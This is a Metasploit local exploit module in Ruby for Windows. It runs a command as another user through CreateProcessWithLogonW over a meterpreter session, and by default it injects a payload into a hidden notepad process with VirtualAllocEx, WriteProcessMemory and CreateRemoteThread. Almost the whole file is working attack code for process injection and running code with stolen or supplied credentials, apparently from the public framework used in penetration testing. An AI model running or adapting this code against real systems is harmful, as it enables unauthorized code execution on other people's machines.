##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  include Msf::Post::Windows::Runas
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Windows Run Command As User",
        'Description' => %q{
          This module will login with the specified username/password and execute the
          supplied command as a hidden process. Output is not returned by default.
          Unless targeting a local user either set the DOMAIN, or specify a UPN user
          format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.

          A custom command line can be sent instead of uploading an executable.
          APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
          respectively. See the MSDN documentation for how these two values interact.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Kx499', 'Ben Campbell'],
        'Targets' => [
          [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          [ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
        ],
        'DisclosureDate' => '1999-01-01',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
            ]
          }
        }
      )
    ) # Same as psexec -- a placeholder date for non-vuln 'exploits'

    register_options(
      [
        OptString.new('DOMAIN', [false, 'Domain to login with' ]),
        OptString.new('USER', [true, 'Username to login with' ]),
        OptString.new('PASSWORD', [true, 'Password to login with' ]),
        OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
        OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
        OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
      ]
    )
  end

  def exploit
    fail_with(Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
    fail_with(Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
    domain = datastore['DOMAIN']
    user = datastore['USER']
    password = datastore['PASSWORD']

    if datastore['USE_CUSTOM_COMMAND']
      application_name = datastore['APPLICATION_NAME']
      command_line = datastore['COMMAND_LINE']
    else
      command_line = nil
      windir = get_env('windir')

      unless session.arch == payload.arch.first
        fail_with(Failure::BadConfig, 'The payload architecture must match the current session architecture.')
      end
      # The notepad process to spaw needs to have the same architecture than the payload
      application_name = get_notepad_pathname(payload.arch.first, get_env('windir'), sysinfo['Architecture'])
    end

    pi = create_process_with_logon(domain,
                                   user,
                                   password,
                                   application_name,
                                   command_line)

    return unless pi

    begin
      return if datastore['USE_CUSTOM_COMMAND']

      vprint_status('Injecting payload into target process')
      raw = payload.encoded

      process_handle = pi[:process_handle]

      virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
                                                              nil,
                                                              raw.length,
                                                              'MEM_COMMIT|MEM_RESERVE',
                                                              'PAGE_EXECUTE_READWRITE')

      address = virtual_alloc['return']
      fail_with(Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0

      write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
                                                                 address,
                                                                 raw,
                                                                 raw.length,
                                                                 4)

      fail_with(Failure::Unknown,
                "Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']

      create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
                                                                         nil,
                                                                         0,
                                                                         address,
                                                                         nil,
                                                                         0,
                                                                         4)
      if create_remote_thread['return'] == 0
        print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
      else
        print_good("Started thread in target process")
      end
    ensure
      session.railgun.kernel32.CloseHandle(pi[:process_handle])
      session.railgun.kernel32.CloseHandle(pi[:thread_handle])
    end
  end
end
